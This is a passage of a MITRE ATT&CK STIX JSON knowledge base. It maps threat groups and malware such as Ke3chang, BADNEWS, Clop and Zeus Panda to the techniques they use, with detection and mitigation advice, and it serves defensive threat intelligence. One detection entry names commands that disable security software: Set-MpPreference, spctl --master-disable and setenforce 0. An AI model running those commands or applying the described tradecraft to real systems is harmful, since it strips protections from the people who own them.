/s*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5aebe97-98cc-46a5-b3f9-1a0497bc72ba","type":"relationship","created":"2019-04-22T15:08:48.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:14.997Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files.(Citation: Mandiant Operation Ke3chang November 2014)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5b0b3ae-737a-4f2b-bbe9-23ca214eb733","type":"relationship","created":"2020-07-30T13:32:16.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-30T18:52:23.956Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has named services to appear legitimate.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5b1dc4d-e8dd-48d8-913a-0e9223b760f7","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Detecting Kerberoasting Feb 2018","description":"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.","url":"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"},{"source_name":"AdSecurity Cracking Kerberos Dec 2015","description":"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.","url":"https://adsecurity.org/?p=2293"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5b41632-a553-4abe-aa68-9ce6898e642d","type":"relationship","created":"2021-10-13T22:50:48.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-10-13T22:50:48.900Z","description":"(Citation: Symantec WastedLocker June 2020)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T15:59:20.580Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and use process hollowing to inject it into a new process.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5b61b67-8d99-4bc5-86d0-00739f0be666","type":"relationship","created":"2019-10-11T15:46:13.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-02T13:16:45.856Z","description":"Implement network-based filtering restrictions to prohibit data transfers to untrusted VPCs.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5bb3ddf-446a-42c4-b522-112ad643c678","type":"relationship","created":"2020-03-30T18:56:48.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis Turbo","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.","url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf"}],"modified":"2020-03-30T18:59:10.394Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) has used unencrypted HTTP on port 443 for C2.(Citation: Fidelis Turbo)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5bcc6f7-27af-4335-bf02-59fe5d0cd62e","created":"2024-03-06T18:14:22.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-12T19:53:30.800Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used a Python reverse shell and the PySoxy SOCKS5 proxy tool.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5bf547a-7fe3-4fa5-96f7-a932e583bf9e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2020-03-16T16:28:16.054Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) gathers the Mac address, IP address, and the network adapter information from the victim’s machine.(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5c59466-b7ac-44a0-804d-cdfbc88c8fba","type":"relationship","created":"2021-07-30T21:03:08.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-07-30T21:03:08.938Z","description":"[Clop](https://attack.mitre.org/software/S0611) can make modifications to Registry keys.(Citation: Cybereason Clop Dec 2020) ","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5c8b6af-8685-4068-8046-122bbd5f8845","type":"relationship","created":"2019-09-13T13:17:26.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.181Z","description":"[Machete](https://attack.mitre.org/software/S0409) logs keystrokes from the victim’s machine.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5cbd480-0147-4e70-9551-03a2b5b8fdcb","type":"relationship","created":"2021-08-18T19:24:12.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More","source_name":"Talos Zeus Panda Nov 2017"}],"modified":"2021-08-18T19:24:12.200Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) queries the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects LANG_RUSSIAN, LANG_BELARUSIAN, LANG_KAZAK, or LANG_UKRAINIAN.(Citation: Talos Zeus Panda Nov 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5cca5a1-35c5-4e96-a343-3e2c81a0a202","created":"2022-09-28T13:40:22.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"},{"source_name":"Mandiant Azure AD Backdoors","description":"Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.","url":"https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-22T13:22:06.741Z","description":"Periodically review the hybrid identity solution in use for any discrepancies. For example, review all PTA agents in the Entra ID Management Portal to identify any unwanted or unapproved ones.(Citation: Mandiant Azure AD Backdoors) If ADFS is in use, review DLLs and executable files in the AD FS and Global Assembly Cache directories to ensure that they are signed by Microsoft. Note that in some cases binaries may be catalog-signed, which may cause the file to appear unsigned when viewing file properties.(Citation: MagicWeb)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5d7526f-2b1f-4a69-abc7-926b22bc402b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fidelis Hi-Zor","description":"Fidelis Threat Research Team. (2016, January 27). Introducing Hi-Zor RAT. Retrieved March 24, 2016.","url":"https://www.fidelissecurity.com/threatgeek/archive/introducing-hi-zor-rat/"}],"modified":"2020-04-29T22:19:36.097Z","description":"[Hi-Zor](https://attack.mitre.org/software/S0087) encrypts C2 traffic with TLS.(Citation: Fidelis Hi-Zor)","relationship_type":"uses","source_ref":"malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5d8527f-71eb-48e4-b5af-f95d29fdb265","type":"relationship","created":"2021-10-01T20:57:16.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.146Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can check to see if the infected machine has VM tools running.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5ec708f-a82c-4890-a3a2-fe2455e2ebaf","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor for changes made to files for unexpected modifications to unusual accounts outside of normal administration duties ","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5ee5826-e742-4847-9816-d9124827262a","created":"2021-02-08T21:58:15.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Indrik November 2018","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021.","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/"},{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T18:14:09.730Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has encrypted domain-controlled systems using [BitPaymer](https://attack.mitre.org/software/S0570).(Citation: Crowdstrike Indrik November 2018) Additionally, [Indrik Spider](https://attack.mitre.org/groups/G0119) used [PsExec](https://attack.mitre.org/software/S0029) to execute a ransomware script.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5efdeb3-10db-4e40-b8cd-61dee7d72cc0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto CVE-2015-3113 July 2015","description":"Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}],"modified":"2020-03-18T20:44:39.393Z","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) uses [netstat](https://attack.mitre.org/software/S0104) to list TCP connection status.(Citation: Palo Alto CVE-2015-3113 July 2015)","relationship_type":"uses","source_ref":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5f33976-796d-46b8-9c5f-5545ef25c03f","type":"relationship","created":"2019-01-29T20:05:36.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2020-03-21T00:06:32.545Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) uses DES to encrypt the C2 traffic.(Citation: PaloAlto NanoCore Feb 2016)","relationship_type":"uses","source_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5f43f22-7157-4e5a-8d08-d700471f1993","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-16T16:03:23.842Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to schedule remote AT jobs.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5f5eee7-6cc2-4eb4-b918-fc771b927abc","created":"2021-11-30T17:47:01.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:19:15.205Z","description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) can modify the Registry to save its configuration data as the following RC4-encrypted Registry key: `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\GameCon`.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a5f9fb09-17b2-48fb-823b-811e4168f678","created":"2022-03-30T14:26:51.843Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for the execution of commands and arguments associated with disabling or modification of security software processes or services such as Set-MpPreference-DisableScriptScanning 1 in Windows,sudo spctl --master-disable in macOS, and setenforce 0 in Linux. Furthermore, on Windows monitor for the execution of taskkill.exe or Net Stop commands which may deactivate antivirus software and other security systems. ","modified":"2022-05-31T21:52:40.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5ffea60-7694-48cd-92e9-b755669b2fdb","type":"relationship","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"}],"modified":"2020-06-22T17:54:15.767Z","description":"A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's username to send to a C2 server.(Citation: Palo Alto Gamaredon Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6006789-f164-4616-9a1f-20fd2b34113f","type":"relationship","created":"2021-10-16T01:16:00.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-16T01:16:00.854Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) contains JavaScript code that can extract an encoded blob from its HTML body and write it to disk.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a601c8b3-4d54-42d9-a2fd-61455a5dff4a","type":"relationship","created":"2020-03-16T15:48:34.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T19:27:46.628Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network 